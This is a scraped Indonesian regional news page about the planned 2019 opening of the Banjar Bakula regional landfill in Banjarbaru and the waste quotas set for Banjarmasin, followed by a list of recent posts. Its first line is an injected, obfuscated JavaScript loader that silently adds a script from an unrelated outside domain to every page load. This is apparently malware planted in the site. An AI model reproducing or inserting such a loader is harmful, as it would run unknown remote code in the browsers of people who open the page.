(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

TPA Regional Banjar Bakula Akan Beroperasi 2019


BANJARBARU, Problem sampah saat ini masih menjadi kendala utama sejumlah kabupaten/kota di Kalsel. Terbatasnya lahan tempat pembuangan akhir (TPA) yang tak mampu menampung besarnya volume sampah, menjadi penyebab utamanya. Namun, pada 2019 nanti, operasional TPA Sampah Regional Banjar Bakula yang menjadi wacana sejak lama, akan beroperasi.

TPA yang lokasinya berada di kawasan Kecamatan Cempaka, Banjarbaru tersebut nantinya akan menampung sampah yang telah diresidu (sudah dipilah) oleh lima kabupaten kota, yang akan masukan dalam program Banjar Bakula.

Rencana operasional TPA Banjar Bakula ini disampaikan Walikota Banjarmasin Ibnu Sina usai menerima kedatangan tim pembangunan TPA regiona tersebut. Pada prinsipnya, ia setuju dengan pembagian kuota sampah hasil residu yang ditetapkan. Namun berharap batas minimal kuota sampah yang masuk ke TPA tersebut, dapat disesuaikan dengan kemampuan angkutan operasional yang dimiliki Banjarmasin. Demikian dilansir Antara.com.

Untuk diketahui, pembagian kuota sampah yang bisa dimasukan ke dalam TPA regional untuk Banjarmasin dipatok per harinya maksimal sekira 131 ton. Sedangkan batas minimal sampah yang sudah diresidu masuk ke TPA tersebut 60 ton per hari.

Menurut Kepala Dinas Lingkungan Hidup Provinsi Kalsel, Iklas, pembangunan TAP regional itu merupakan bantuan dari pihak kementerian PUPR, Bidang Cipta Karya. “TPA tersebut rencananya selesai dikerjakan pada bulan November 2018 ini dan operasionalnya akan dilakukan pada tahun 2019 nanti,” ujarnya.

Dikatakannya, salah satu persyaratan operasinalnya adalah adanya MoU antara Gubernur dengan Bupati/Walikota yang masuk dalam program Banjar Bakula.  Memang, sebelumnya sudah ada kesepahaman antara provinsi dengan kabupaten/kota. Namun mengingat operasional TPA tersebut semakin dekat, maka ia bersama tim kembali menemui Walikota hanya untuk memastikan komitmen yang telah dibuat.

“Awal hitungan-hitungan dari konsultansi, untuk Kota Banjarmasin diminta sampah residu itu maksimal 131 ton per hari. Tapi kami memahami adanya keterbatasan angkutan sampah. Karena itu kita tadi mencari angka minimalnya menjadi 30 ton per hari,” katanya.


Page: 1 2

Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

5 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

6 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

22 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

22 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

23 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

24 jam ago

This website uses cookies.